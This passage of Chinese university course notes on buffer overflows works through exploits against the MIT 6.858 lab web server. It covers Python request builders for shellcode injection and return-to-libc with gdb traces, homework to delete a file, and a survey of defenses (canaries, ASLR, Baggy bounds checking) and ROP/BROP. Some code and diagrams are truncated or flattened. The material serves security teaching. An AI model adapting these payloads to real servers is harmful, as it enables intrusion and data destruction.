利用之前的漏洞将shellcode注入到web服务器并启动shell。回顾之前的漏洞触发过程: 162 | 163 | (1) 构造"过长的"客户端请求,并发送请求到服务器。 164 | 165 | ``` python 166 | def build_exploit(shellcode): 167 | req = "GET /" + 'A' * 1024 + " HTTP/1.0\r\n" + \ 168 | "\r\n" 169 | return req 170 | ``` 171 | 172 | (2) 服务器端`zookd`处理请求并转发给`zookfs`。处理请求的代码在`http.c`中,其中存在缓冲区溢出漏洞。 173 | 174 | ``` c 175 | zookd.c:70: if ((errmsg = http_request_line(fd, reqpath, env, &env_len))) 176 | 177 | zookfs.c:47: http_serve(sockfd, getenv("REQUEST_URI")); 178 | 179 | ``` 180 | `http_serve()`函数中`strcat()`触发缓冲区溢出漏洞导致`handler`变量被改写,在执行`(*handler)()`函数时导致程序崩溃。 181 | 182 | ``` c 183 | void http_serve(int fd, const char *name) 184 | { 185 | void (*handler)(int, const char *) = http_serve_none; 186 | char pn[1024]; 187 | struct stat st; 188 | 189 | getcwd(pn, sizeof(pn)); 190 | setenv("DOCUMENT_ROOT", pn, 1); 191 | 192 | strcat(pn, name); 193 | split_path(pn); 194 | 195 | /* ...代码有删节... */ 196 | 197 | handler(fd, pn); 198 | } 199 | ``` 200 | 201 | `http_serve()`的栈结构: 202 | 203 | ``` 204 | +———————————————————————-+ 205 | | name |<——— (+12) =0xbfffde14 206 | +———————————————————————-+ 207 | | fd = 3 |<——— (+8) =0xbfffde10 208 | +———————————————————————-+ 209 | | return address |<——— (+4) =0xbfffde0c 210 | +———————————————————————-+ 211 | | ebp |<——— (0) =0xbfffde08 212 | +———————————————————————-+ 213 | | | 214 | +————————————————————————+ 215 | | void (*handler) |<——— (-12) =0xbfffddfc 216 | +————————————————————————+ 217 | |pn[1023] ^ | 218 | | | | 219 | | | pn[0]|<——— (-1036) =0xbfffd9fc 220 | +————————————————————————+ 221 | | struct stat st | 222 | | (88bytes) |<——— (-1124) =0xbfffd9a4 223 | +———————————————————————-+ 224 | 225 | ``` 226 | 227 | 攻击手段是构造一个请求令`pn`缓冲区溢出,从而改写`handler`指针,令其指向shellcode。 228 | 229 | ``` 230 | bottom of the stack 231 | +————————————————————+———————————+——————————————————————+ 232 | | void (*handler) | ^ | address of shellcode |———+ 233 | +————————————————————+ | +——————————————————————+ | 234 | |pn[1023] ^ | | | 'AAA'...'AAA' | | 235 | | | | | +——————————————————————+ | 236 | | | | | name[0]| shellcode |<——+ 237 | | | +———————————+——————————————————————+ 238 | | | pn[0]| getwd | "/home/httpd/lab/" | 239 | +————————————————————+———————————+——————————————————————+<——0xbfffd9fc 240 | 241 | ``` 242 | 以此构造请求需要计算两个值: 243 | 244 | - 填充'A'的个数:`1024-len("/home/httpd/lab/")-len(shellcode)` 245 | - shellcode在栈中地址:`0xbfffd9fc + len("/home/httpd/lab/")` 246 | 247 | ``` python 248 | stack_buffer = 0xbfffd9fc 249 | 250 | def build_exploit(shellcode): 251 | ## Things that you might find useful in constructing your exploit: 252 | ## urllib.quote(s) 253 | ## returns string s with "special" characters percent-encoded 254 | ## struct.pack("} 0x40065100 <__libc_system> 292 | (gdb) p exit 293 | $2 = {} 0x40058150 <__GI_exit> 294 | ``` 295 | 296 | 得到了`system()`地址为`0x40065100`。但其中最后一个字节的`0x00`导致其不能在字符串中出现。因此,在本漏洞中无法直接使用,下一节课我们会学习这意味着什么。 297 | 298 | 下面用`exit(16843009)`(`16843009`=`0x01010101`)来演示,函数地址`0x40058150`。 299 | 300 | 为了令`http_serve()`正常执行后返回,不能改写`handler`。记录`handler`初始值备用。 301 | 302 | ``` sh 303 | (gdb) p handler 304 | $2 = (void (*)(int, const char *)) 0x80495ea 305 | ``` 306 | 307 | [](为了执行`system("/bin/sh")`,还需要一个`"/bin/sh"`字符串。有些情况下,该字符串在环境变量`SHELL`的值中,而环境变量在启动进程时已经被作为参数压入栈底,可用`gdb`在栈中搜索,例如`x/1000s $esp`。本例中未载入该环境变量,需在缓冲区中添加。) 308 | 309 | 当漏洞函数返回时,根据返回地址跳转到libc函数,libc函数从栈中读取参数。 310 | 311 | 1. 当函数返回执行`ret`指令时,`esp`->返回地址(+4) 312 | - `pop`指令将返回地址写入`eip`,`esp`->(+8) 313 | - `eip`所指向的`exit()`开始执行,将当前`ebp`入栈,`esp`->(+4) 314 | - 设定为`esp`为新的`ebp`->(+4) 315 | - `exit()`结束后的返回地址为`ebp+4`->(+8) (程序退出,因而具体值没有意义) 316 | - `exit()`参数地址为`ebp+8`->(+12) 317 | 318 | ``` 319 | stack bottom 320 | +———————————————————————————————————————————————————————+ (0x01010101) 321 | | name |<——— (+12) | argument | (16843009) 322 | +————————————————————+ +——————————————————————+ 323 | | fd = 3 |<——— (+8) | return address | (ABCD) 324 | +————————————————————+ +——————————————————————+ 325 | | return address |<——— (+4) | exit() address | (0x40058150) 326 | +————————————————————+ +——————————————————————+ 327 | | ebp |<——— (0) | |<——0xbfffde08 328 | +————————————————————+ | | 329 | | | | | 330 | +————————————————————+ +——————————————————————+ 331 | | void (*handler) | ^ | unchanged | (0x80495ea) 332 | +————————————————————+ | +——————————————————————+ 333 | |pn[1023] ^ | | | | 334 | | | | | | | 335 | | | | | name[0]| | 336 | | | +———————————+——————————————————————+ 337 | | | pn[0]| getwd | "/home/httpd/lab/" | 338 | +———————————————————————————————————————————————————————+<——0xbfffd9fc 339 | 340 | ``` 341 | 342 | 构造HTTP请求: 343 | 344 | ``` python 345 | def build_exploit(shellcode): 346 | 347 | handler = 0x80495ea 348 | exit_addr = 0x40058150 349 | exit_status = 0x01010101 350 | 351 | req = "GET /" + \ 352 | 'A' * (1024-len("/home/httpd/lab/")) + \ 353 | struct.pack("...) at http.c:275 379 | warning: Source file is more recent than executable. 380 | 275 void (*handler)(int, const char *) = http_serve_none; 381 | (gdb) n 382 | 279 getcwd(pn, sizeof(pn)); 383 | (gdb) 384 | 280 setenv("DOCUMENT_ROOT", pn, 1); 385 | (gdb) 386 | 282 strcat(pn, name); 387 | (gdb) 388 | 283 split_path(pn); 389 | (gdb) x/10s pn [查看buffer] 390 | 0xbfffd9fc: "/home/httpd/lab/", 'A' ... 391 | 0xbfffdac4: 'A' ... 392 | 0xbfffdb8c: 'A' ... 393 | 0xbfffdc54: 'A' ... 394 | 0xbfffdd1c: 'A' ... 395 | 0xbfffdde4: 'A' , "\352\225\004\b", 'A' , "P\201\005@ABCD\001\001\001\001" 396 | 0xbfffde19: " " 397 | 0xbfffde1b: "" 398 | 0xbfffde1c: ",\376\377\277" 399 | 0xbfffde21: "" 400 | (gdb) p handler [查看handler是否被改写] 401 | $1 = (void (*)(int, const char *)) 0x80495ea 402 | (gdb) x/wx $ebp+4 [查看返回地址,已经被改为exit()地址] 403 | 0xbfffde0c: 0x40058150 404 | (gdb) x $ebp+12 [查看exit()参数,表明攻击成功] 405 | 0xbfffde14: 0x01010101 406 | (gdb) n 407 | 285 if (!stat(pn, &st)) 408 | (gdb) 409 | 296 handler(fd, pn); 410 | (gdb) 411 | 297 } 412 | (gdb) [继续执行到exit] 413 | __GI_exit (status=16843009) at exit.c:103 414 | 103 exit.c: No such file or directory. 415 | (gdb) 416 | 104 in exit.c 417 | (gdb) 418 | [Inferior 2 (process 9883) exited with code 01] 419 | ``` 420 | 421 | --- 422 | 423 | ## 作业:删除敏感文件 424 | 425 | 实验资料:[MIT 6.858 Computer Systems Security](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/index.htm)中Lab 1。 426 | 427 | #### 1. 可执行栈上shellcode攻击 428 | 429 | 利用缓冲区溢出漏洞将shellcode注入到web服务器,删除一个敏感文件`/home/httpd/grades.txt`。主要任务是构造一个新的shellcode。 430 | 431 | **提示:**删除文件系统调用`SYS_unlink`调用号是`10`或`'\n'`(newline)。若`'\n'`直接出现在HTTP请求URL中,则会被截断,因此需要特殊处理。 432 | 433 | 实验会用到下列命令: 434 | 435 | - 创建新文件:`touch /home/httpd/grades.txt` 436 | - 编译:`gcc -m32 -c -o shellcode.bin shellcode.S` 437 | - 提取二进制指令:`objcopy -S -O binary -j .text shellcode.bin` 438 | - 执行二进制指令:`./run-shellcode shellcode.bin` 439 | 440 | 将攻击程序命名为`exploit-3.py`,用`make check-exstack`来检查攻击是否成功。 441 | 442 | #### 2. 不可执行栈上return-to-libc攻击 443 | 444 | 在栈不可执行的web服务器上,采用return-to-libc攻击删除敏感文件`/home/httpd/grades.txt`。 445 | 446 | 将攻击程序命名为`exploit-4a.py`和`exploit-4b.py`,用`make check-libc`来检查攻击是否成功。 447 | 448 | **提示:**libc中`unlink()`函数参数是一个指向以`'\0'`结尾字符串的指针。因此,需在栈中注入字符串,并保证在漏洞触发时,该字符串结尾为`'\0'`。 449 | 450 | --- 451 | 452 | -------------------------------------------------------------------------------- /buffer-overflow/buffer-overflow-3.md: -------------------------------------------------------------------------------- 1 | 缓冲区溢出:攻防对抗 2 | === 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 本节学习缓冲区溢出攻击的防御方案与新型攻击技术,重点介绍一种边界检查机制Baggy,以及一种破解地址空间布局随机化的攻击技术BROP。 8 | 9 | ## 避免攻击 10 | 11 | 回顾缓冲区溢出攻击要点: 12 | 13 | 1. **较长输入**通过缓冲区溢出来**改写栈中数据** 14 | - **改写指令指针**劫持控制流 15 | - 执行后注入或已存在**恶意指令** 16 | 17 | 避免缓冲区溢出,来从源头上杜绝**较长输入**通过缓冲区溢出来**改写栈中数据**。 18 | 19 | ### 对策1:避免C代码中bug 20 | 21 | 仔细检查缓冲区,字符串,队列大小。使用带有缓冲区大小参数的函数,例如用`strncpy()`替代`strcpy()`,用`fgets()`替代`gets()`。新版本编译器会对程序中bug进行警告,不应忽略这个警告。 22 | 23 | - 优点:从源头上避免问题! 24 | - 缺点:难以保证代码没有bug,特别是代码库很大时。应用也可能自己定义除了`fgets()`或`strcpy()`之外的缓冲区操作函数。 25 | 26 | ### 对策2:Bug检测工具 27 | 28 | 可分为静态检测和动态检测。考虑如下代码: 29 | 30 | ``` c 31 | void foo(int *p){ int offset; int *z = p + offset; if(offset > 7){ bar(offset); } } 32 | ``` 33 | 34 | 静态检测在不运行代码的情况下进行。例如,我们很容易发现`offset`在未被初始化的情况下使用,而且传播到`bar()`函数中。代价较小,但准确性不足。 35 | 36 | 动态检测在代码运行时进行。例如,[模糊测试(fuzzing)](https://en.wikipedia.org/wiki/Fuzz_testing)自动或半自动地生成随机数据输入到一个程序中,并监视程序异常。例如,[宽松边界检查(Baggy Bounds Checking)](https://www.usenix.org/legacy/events/sec09/tech/full_papers/akritidis.pdf)有效地在运行时检测缓冲区边界是否正确。 37 | 38 | - 优点:能够显著减少bug。 39 | - 缺点:难以保证完全没有bug。 40 | 41 | ### 对策3:使用内存安全语言 42 | 43 | 例如JavaScript,C#,Python。 44 | 45 | - 优点:通过不暴露原始内存地址以及自动垃圾回收来阻止内存错误。 46 | - 缺点: 47 | - 底层运行态代码仍然使用原始内存地址,因此运行时核心程序不能有bug。例如[堆喷射(heap spraying)攻击](https://en.wikipedia.org/wiki/Heap_spraying)通过分配较大缓冲区来在特定位置写入数据。 48 | - 存在大量非安全语言代码(FORTRAN,COBOL) 49 | - 需要访问底层硬件功能,例如写设备驱动 50 | - 性能比C程序差很多? 51 | - 曾经是一个大问题,但情况越来越好,例如[JIT(即时编译)](https://en.wikipedia.org/wiki/Just-in-time_compilation)技术,和只比c慢2倍的[asm.js](https://en.wikipedia.org/wiki/Asm.js) 52 | - 仔细编码避免在关键流程中频繁地垃圾收集扰动 53 | - 选择正确的工具。避免用C来写文本处理程序 54 | 55 | --- 56 | 57 | ## 缓解攻击 58 | 59 | 当缓冲区溢出发生时,阻止攻击者进行以下步骤: 60 | 61 | - **改写代码指针**劫持控制流,例如返回地址,函数指针,C++ vtable, 异常处理句柄 62 | - 在内存中后注入或已存在**恶意代码** 63 | - 将恶意代码安置在**可预测位置**,令代码指针指向该位置 64 | 65 | 66 | ### 对策1:金丝雀(canaries)[[参考](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries)] 67 | 68 | 在被改写的代码指针被调用之前发现它。其思想是编译器在程序中安放canary变量,并检测canary变量是否被改写。类似用金丝雀在煤矿中检测一氧化碳。此类工作包括[StackGuard](https://www.usenix.org/legacy/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf)和[GCC的SSP(Stack Smashing Protector)]()。 69 | 70 | 在函数入栈时安放一个canary,返回前检查该canary。通常需要有源码,编译器插入canary检查。 71 | 72 | - 问:canary应该在栈中什么位置? 73 | - 答:canary必须在返回地址之前(更低地址),任何改写返回地址的溢出也会改写canary。 74 | 75 | ``` +——————————————————+ | return address | ^ +——————————————————+ | | saved %ebp | | +——————————————————+ | | CANARY | | +——————————————————+ | | buf[127] | | | ... | | | buf[0] | 76 | +——————————————————+ 77 | ``` 78 | 79 | 一个C程序例子: 80 | 81 | ``` c 82 | void foo(const char* str) 83 | { 84 | char buffer[16]; 85 | strcpy(buffer, str); 86 | } 87 | ``` 88 | 89 | SSP自动将上述代码转化: 90 | 91 | ``` c 92 | extern uintptr_t __stack_chk_guard; 93 | noreturn void __stack_chk_fail(void); 94 | void foo(const char* str) 95 | { 96 | uintptr_t canary = __stack_chk_guard; 97 | char buffer[16]; 98 | strcpy(buffer, str); 99 | if ( (canary = canary ^ __stack_chk_guard) != 0 ) 100 | __stack_chk_fail(); 101 | } 102 | ``` 103 | 104 | - 问:编译器用4字节`'a'`作为canary如何? 105 | - 答:攻击者可以在缓冲中用相同canary。 106 | 107 | 因此,canary必须难以猜测,或即使被猜出也能抵抗攻击。 108 | 109 | - “终止符canary”:四个字节 `0, CR, LF, -1`。C函数将这些字符作为终止符。若canary匹配这些终止符之一,则攻击者也必须在此写入终止符,令canary后面的内容无法被改写。 110 | - 随机canary是更常用方法,但需要很好的随机化!还需要对canary进行保密,并防止攻击者从内存中读取canary。 111 | 112 | 113 | 然而,canary不能发现在canary之前的函数指针被改写。例如, 114 | 115 | - 攻击者改写数据指针,利用该指针对任意内存改写,而不需连续改写缓冲区 116 | 117 | ```c 118 | int *ptr = ...; char buf[128]; gets(buf); //Buffer is overflowed, and overwrites ptr. *ptr = 5; //Writes to an attacker-controlled address! //Canaries can't stop this kind of thing. 119 | 120 | ``` 121 | 122 | - 堆对象溢出(函数指针,C++ vtables),我们会在[iOS系统安全部分](../system-security/iOS-security.md)学习一个此类漏洞 123 | - malloc/free溢出可以改写指定地址上数据,详见[Exploiting the heap](http://www.win.tue.nl/~aeb/linux/hh/hh-11.html)。考虑下面一个C程序。 124 | 125 | ```c 126 | int main(int argc, char **argv) { char *p, *q; p = malloc(1024); q = malloc(1024); 127 | 128 | if(argc >= 2) strcpy(p, argv[1]); free(q); free(p); return 0; } 129 | ``` 130 | `malloc()`在每个被分配内存块头部创建一个`size/status`结构体。假设`p`和`q`所分配的内存块相邻,堆结构如下: 131 | 132 | ``` 133 | +——————————————————+ 134 | | size + status | | 135 | +——————————————————+ <—————— p | 136 | | .. data .. | | 137 | +——————————————————+ | 138 | | size + status | | 139 | +——————————————————+ <—————— q | 140 | | .. data .. | v 141 | +——————————————————+ 142 | ``` 143 | 若`p`被`argv[1]`溢出将改写`q`内存块结构体中`size`值。 144 | 145 | `free()`更改`status`来"释放"内存,在块结尾创建一个`size/status`记录,并创建空闲块结构体,包括指向前继和后继空闲块结构体的指针。因此,一个块最小16字节。 146 | 147 | ``` 148 | +——————————————————+ 149 | | size + status |<—— update ^ 150 | +——————————————————+ | 151 | | forward ptr |——————————+ | 152 | +——————————————————+ | | 153 | | backward ptr |—————————————+ 154 | +——————————————————+ | 155 | | .. free .. | | 156 | +——————————————————+ v 157 | | size + status |<—— create 158 | +——————————————————+ 159 | 160 | ``` 161 | `free()`合并相邻空闲块时,需要根据`size`来获取结构体指针,并更新前继和后继空闲块结构体中指针内容。错误的`size`值将导致某个指针所指向内容被改写! 162 | 163 | ``` c 164 | ptr = get_free_block_struct(size); bck = ptr->bk; fwd = ptr->fd; fwd->bk = bck; //Writes memory! bck->fd = fwd; //Writes memory! 165 | ``` 166 | 167 | ### 对策2:边界检查(bounds checking) 168 | 169 | C语言中难以区分有效指针和无效指针,例如下代码中的`ptr`。 170 | 171 | ```c 172 | union u{ int i; struct s{ int j; int k; }; }; int *ptr = &(u.s.k); 173 | ``` 174 | 175 | 原因在于C语言中,指针本身不包含使用语义。因此,有许多工具并不试图猜测语义,而只是保证堆和栈中对象的内存边界,这被称为“边界检查”。基于编译器实现,在运行时检查指针是否合理范围之内。尽管不能保证指针一定被正确使用,但能确保程序一定在已分配的内存中操作。这被认为是C语言世界中的一大进步! 176 | 177 | #### 电子围栏(electric fences): 178 | 179 | 思想:每个堆对象分配一整个内存页,对象之后的页内空间(guard page)标记为不可访问,若访问则导致故障 180 | 181 | - 优点:不需要源代码,不需要改变编译器或重编译程序!但需要重新链接到实现了电子围栏的malloc库 182 | - 缺点:内存消耗巨大!每个页中只有一个对象,而且还有一个不用使用的哑页。也不能保护栈。 183 | 184 | #### 胖指针(fat pointer): 185 | 186 | 思想:更改指针表达,令其包含所指向对象在内存中的边界信息。 187 | 188 | ``` 189 | Regular 32-bit pointer +——————————————+ | address | +——————————————+ Fat pointer (96 bits) +——————————————+——————————————+——————————————+ | obj_base | obj_end | curr_address | +——————————————+——————————————+——————————————+ 190 | ``` 191 | 192 | ```c 193 | int *ptr = malloc(sizeof(int) * 2); while(1){ *ptr = 42; <——— ptr++; 194 | } 195 | ``` 196 | 197 | 第3行代码将检查指针当前地址并确保其在界内。因此,当循环到第3次时会发生故障。问题是每次解引用都检查代价太大!而且胖指针与许多存在的程序都不兼容,不能用在固定大小结构中,指针更新也不再是原子操作。 198 | 199 | 后面会详细介绍一种边界检查方案:Baggy。 200 | 201 | ### 对策3:不可执行内存 202 | 203 | 硬件支持对内存读、写、执行的权限说明。例如,AMD的NX位,Intel的XD位,Windows DEP(Data Execution Prevention),Linux的Pax。可将栈标记为不可执行。一些系统强制“W^X”,即可写和可执行不能同时存在,但也不支持动态生成代码(同时需要写和执行)。详见[可执行空间保护](https://en.wikipedia.org/wiki/Executable_space_protection)。 204 | 205 | ### 对策4:随机化内存地址 206 | 207 | 许多攻击需要在shellcode中编入地址。这些地址通过gdb等工具获得。因此,可通过地址随机化令攻击者难以猜测地址。 208 | 209 | **栈随机化**:将栈移动到随机位置,或在栈中变量之间随机填充。攻击者难以猜测返回地址的位置,以及shellcode将会被插入到哪里。 210 | 211 | **[ASLR (Address Space Layout Randmization)](https://en.wikipedia.org/wiki/Address_space_layout_randomization)**:随机布置栈,堆,动态库。动态链接器为每个库选择随机位置,攻击者难以找到`system()`位置。但也存在以下问题: 212 | 213 | - 在32位机器上,可随机比特不够大(1比特用于区分内核/用户模式,12比特用于内存映射页与页边界对齐),攻击者可能蛮力猜测位置。 214 | - 攻击者利用`usleep()`函数,该函数可能位置有2^16个或2^28个。猜测`usleep(16)`地址并写入返回地址,观察程序是否挂起了16秒。 215 | - 程序产生栈trace或错误消息包含指针。 216 | - 攻击者利用“Heap spraying”将shellcode填满内存,很可能随机跳到shellcode。 217 | 218 | 219 | **实践中缓冲区溢出防御**: 220 | 221 | - gcc和MSVC缺省启用金丝雀 222 | - Linux和Windows缺省包含ASLR和NX 223 | - 界限检查不太常用,因为:性能代价,需重编译,误报。有时,有些漏报但零误报 好于 零漏报但有些误报 224 | 225 | --- 226 | 227 | ## Baggy Bounds Checking 228 | 229 | 阅读资料:[Baggy Bounds Checking (USENIX Security 2009)](supplements/baggy-bound-checking-USENIX2009.pdf) [[online]](https://www.usenix.org/legacy/events/sec09/tech/full_papers/akritidis.pdf) 230 | 231 | 思想:为每个分配的对象,通过malloc或编译器来确定对象大小,并把对象大小记录下来。在两种指针操作中,检查指针是否出界: 232 | 233 | - 指针算术:`char *q = p + 256;` 234 | - 指针解引用:`char ch = *q;` 235 | 236 | 检查解引用操作的原因:无效指针并不意味着错误!不合理但无害! 237 | 238 | - 模拟从1开始的数组(1-indexed array) 239 | - 预计算`p+(a-b)`时,计算`(p+a)-b` 240 | - 出界指针随后检查是有效的 241 | 242 | 检查算术操作的原因:用来追踪指针的来源,设置OOB(Out-Of-Bound)位。没有OOB位,无法知道一个派生的指针是否出界。 243 | 244 | 挑战1:如何确定一个普通指针的边界? 245 | 246 | - 简单方案1:用哈希表或间隔树来实现地址到边界的映射 247 | - 优点:节省空间,只存储被使用的指针 248 | - 缺点:查询较慢,每次查询需多次访问内存 249 | 250 | - 简单方案2:用一个队列存储每个内存地址的边界信息 251 | - 优点:速度快 252 | - 缺点:占用内存太大 253 | 254 | 挑战2:如何令出界指针的解引用产生故障? 255 | 256 | - 简单方案1:检查每一个指针解引用 257 | - 优点:可行 258 | - 缺点:代价高,每个解引用都需要执行额外代码 259 | 260 | 为克服上述问题,Baggy实现了有效的内存分配与边界检查,主要包括5点技巧: 261 | 262 | 1. 按2的幂划分内存空间,分配的起始点与2的幂对齐 263 | - 将范围上界表示为log_2(分配大小)。对于32位指针,只需5比特来表示其范围上界。 264 | - 将范围上界存储在一个线性数组中:每个元素1字节,实现快速查询。可用虚拟内存来按需分配数组。所有元素初始值为31,内存释放后恢复为31。 265 | - 按一定粒度(slot)分配内存(例如16字节):上界数组更短 266 | - 利用虚拟内存系统(硬件实现)来处理出界解引用错误:将出界指针的最高有效位(OOB位)置1,并令地址空间上半部分的页标记为不可访问,于是不必为指针解引用做检查! 267 | 268 | 示例: 269 | 270 | 内存分配例子:slot大小为16字节,`table`数组中每个元素对应1个slot。 271 | 272 | ```c 273 | slot_size = 16; p = malloc(16); table[p/slot_size] = 4; // 1 slot q = malloc(20); table[p/slot_size] = 5; // 2 slots 274 | table[(p/slot_size)+1] = 5; 275 | ``` 276 | 假设首块空闲内存有64字节,则内存分配过程如下: 277 | 278 | ``` 279 | memory bounds table 280 | +—————+—————+—————+—————+ +——+——+——+——+ 281 | Step | | |31|31|31|31| 282 | 0 +—————+—————+—————+—————+ +——+——+——+——+ 283 | 0 16 32 64 284 | 285 | +—————+—————+—————+—————+ +——+——+——+——+ 286 | Step | p | | | | 4|31|31|31| 287 | 1 +—————+—————+—————+—————+ +——+——+——+——+ 288 | 0 16 32 64 289 | 290 | +—————+—————+—————+—————+ +——+——+——+——+ 291 | Step | p | | q | | 4|31| 5| 5| 292 | 2 +—————+—————+—————+—————+ +——+——+——+——+ 293 | 0 16 32 64 294 | 295 | ``` 296 | 297 | 分配空间要大于Object大小,多余空间可能被写入数据,但这并不会影响其他Object。为了避免从多余空间读入之前写入恶意数据,多余空间内容会被清除。 298 | 299 | 检查派生指针是否出界: 300 | 301 | ```c 302 | q = p + i; 303 | ``` 304 | 先获取`p`所在内存块信息,后对`q`进行边界检查: 305 | 306 | ``` c 307 | size = 1 << table[p >> log_of_slot_size]; 308 | base = p & ~(size - 1); (q >= base) && ((q - base) < size) 309 | ``` 310 | 对上面边界检查优化: 311 | 312 | ``` c 313 | (p^q) >> table[p >> log_of_slot_size] == 0 314 | ``` 315 | 316 | C语言中有一些情况需要使用出界指针,例如用`p-1`模拟下标从1开始的数组,用`p+sizeof(p)`表示buffer结尾。支持这类指针需要两个功能: 317 | 318 | - 将指针标记为出界:将出界指针的最高有效位置1 319 | - 该指针上操作的出界检查:用slot大小的一半作为上下界,这样可以判断出一个OOB指针是在Object之上还是Object之下。通过增加或减少一个slot大小,能够找到该指针对应的Object,从而知道界限范围。 320 | 321 | ``` 322 | |<———slot——>| |<———slot——>| 323 | —————+—————+—————+—————~ ~—————+—————+—————+————— 324 | | | half| object | half| | 325 | —————+—————+—————+—————~ ~—————+—————+—————+————— 326 | ``` 327 | 328 | 对下面代码做出界检查,分析见注释。 329 | 330 | ```c 331 | char *p = malloc(18); 332 | 333 | // memory table 334 | // +—————+—————+—————+—————+ +———+———+———+———+ 335 | // | p | | | 5 | 5 | | | 336 | // +—————+—————+—————+—————+ +———+———+———+———+ 337 | // 0 16 32 64 338 | 339 | char *q = p + 24; // OK: 24 > 18, but < 32 340 | 341 | char *r = q + 17; // ERROR: (41-32)=9 > (8=16/2) 342 | 343 | char *s = q + 9; // set 's' OOB-bit: 33-32=1 < (8=16/2) 344 | 345 | char *t = s - 10; // unset 't' OOB-bit: 23 < 32 346 | 347 | ``` 348 | 349 | 下面代码会引发异常吗? 350 | 351 | ``` c 352 | char *p = malloc(32); char *q = p + 32; char ch = *q; ``` 353 | - 第1行:32字节slot大小整数倍,且为2的幂,因此分配空间为32字节,无空闲空间。 354 | - 第2行:`q`由于越界,OOB位被置1,但在slot大小一半之内,未引发错误。 355 | - 第3行:解引用时OOB位=1相当于访问内存空间禁止访问的上半部分,引发故障。 356 | 357 | --- 358 | 359 | ## Blind Return-Oriented Programming 360 | 361 | 阅读资料:[Hacking Blind (S&P 2014)](supplements/blind-return-oriented-programming.pdf) [[Slides]](blind-return-oriented-programming-slides.pdf) [[online]](http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf) 362 | 363 | 假设目标系统实现了DEP和ASLR,那么缓冲区溢出攻击还能实施吗?如目标系统只实现了DEP而没有实现ASLR,可实施ROP攻击。若也实现了ASLR,则可实施BROP攻击。 364 | 365 | ### ROP [(Blackhat08)](http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html) 366 | 367 | 之前已经学习过Return-to-libc攻击,该攻击通过改写返回值,调用了libc中函数,绕过不可执行栈防御。ROP是一连串利用函数返回来操纵控制流的技术。例如,攻击者打算多次重复调用某个libc函数`func(char * str)`。首先,需要3个地址: 368 | 369 | - 函数`func()`的地址 370 | - 参数`str`的地址 371 | - `pop/ret`操作地址: 372 | - `pop %eax`: 弹出栈顶到`eax` 373 | - `ret`: 弹出栈顶到`eip` 374 | 375 | 上面的`pop/ret`操作片段称作一个“gadget”(小装置),是在已经存在的二进制文件中的有用片段,后面还会需要其他gadget。 376 | 377 | 然后,利用溢出改写返回地址,并在栈中伪造一个假的函数调用帧: 378 | 379 | ``` 380 | +————————————————————————+ 381 | | (5) | addr of str ————+ Fake calling 382 | +————————————————————————+ | frame for 383 | | (4) | addr of pop/ret—+ func() 384 | +————————————————————————+ 385 | | (3) | addr of func() 386 | +————————————————————————+ 387 | | (2) | addr of str ————+ Fake calling 388 | +————————————————————————+ | frame for 389 | | (1) | addr of pop/ret—+ func() 390 | +————————————————————————+ 391 | | return address (0) | addr of func() 392 | +————————————————————————+ 393 | | saved %ebp |<——— new %ebp 394 | +————————————————————————+ 395 | |buff[1023] ^ | 396 | | | | 397 | | | buff[0]|<——— new %esp 398 | +————————————————————————+ 399 | 400 | ``` 401 | 当函数返回后,程序流程如下: 402 | 403 | 1. 返回地址(被改写为`func()`地址)出栈到`eip`,`esp`—>(1) 404 | - `func()`开始执行,将旧`ebp`入栈并将新`ebp`设置为`esp`,`ebp`=`esp`—>(0) 405 | - `func()`从`ebp+8`—>(2)中读取参数,执行直到返回 406 | - `func()`中`leave`指令执行`mov %ebp,%esp`, `pop %ebp`,`esp`->(1),`ebp`->某个地址 407 | - `func()`中`ret`将栈顶`esp`—>(1),即gadget地址,弹出到`eip`,`esp`—>(2) 408 | - `pop/ret`执行:(2)被弹出栈,`esp`—>(3);`ret`执行弹出栈顶(3)`func()`地址到`eip`,`esp`—>(4) 409 | - 重复之前过程,`func()`从`esp+4`—>(5)中读取参数执行 410 | 411 | ### Blind ROP: 412 | 413 | 若采用了ASLR,则地址被随机化难以确定函数和gadget地址来实现ROP。Blind ROP(BROP)能够在源代码未知、随机地址未知的条件下实施攻击。 414 | 415 | BROP攻击分为三个阶段: 416 | 417 | 1. 读栈术(stack reading):攻破Canary和ASLR 418 | 2. BROP:寻找足够的gadget来调用`write()` 419 | 3. 用`write()`获取二进制数据来寻找足够的gadget构造shellcode 420 | 421 | #### 第一阶段:读栈术 422 | 423 | 许多服务程序崩溃后自动重启,而每次重启时地址随机化结果是一致的,例如,Linux的[PIE(Position-independent executable)](https://en.wikipedia.org/wiki/Position-independent_code#PIE)机制,用`fork()`来产生新服务进程,而不是`execve()`。由于`fork()`拷贝父进程地址空间,尽管地址布局未知,但每次子进程重启后地址布局都是相同的。 424 | 425 | 向栈中敏感位置写入一个字节的猜测值,观察服务器状态: 426 | 427 | - 未崩溃:猜测正确 428 | - 崩溃:猜测错误 429 | 430 | 一旦猜测正确,记录已经猜出的值,继续猜测新位置的值。以此读取canary和返回地址等敏感信息。 431 | 432 | #### 第二阶段:BROP 433 | 434 | **第1步: 寻找一个stop gadget** 435 | 436 | stop gadget是一个指向令程序停止代码(例如`sleep()`)的返回地址,但不会导致程序崩溃。 437 | 438 | 寻找方法是将返回地址改写为猜测地址,观察客户端网络连接是否突然关闭: 439 | 440 | - 连接关闭:猜测的地址不是stop gadget 441 | - 连接保持:找到了一个stop gadget 442 | 443 | **第2步: 寻找pop gadget** 444 | 445 | 一旦有了stop gadget,可寻找`pop`到不同寄存器的pop gadget,即`pop %X; ret;`。为此,定义3个地址: 446 | 447 | - probe: 猜测的pop gadget地址 448 | - stop: 已找到的stop gadget地址 449 | - crash: 不可执行代码地址(`0x0`) 450 | 451 | 寻找pop gadget过程: 452 | 453 | - 返回地址改为probe地址,接着crash地址和stop地址,形成一个链 454 | - 若连接保持,则意味着probe之后执行了stop,就找到了pop gadget(需确认不是另一个stop) 455 | - 否则,意味着程序崩溃,probe后遇到了crash 456 | 457 | ``` 458 | +->sleep(5)<-+ +——— pop eax /\ | | | ret || | | | \———>[stop] ——||——0x5.... 0x5.... 459 | | [crash]——||——0x0 0x0 <————————————————+ 460 | +——————————[probe]——||——0x4...8 0x4...c -->xor eax, eax | || ret | 461 | \_________| 462 | ``` 463 | 464 | 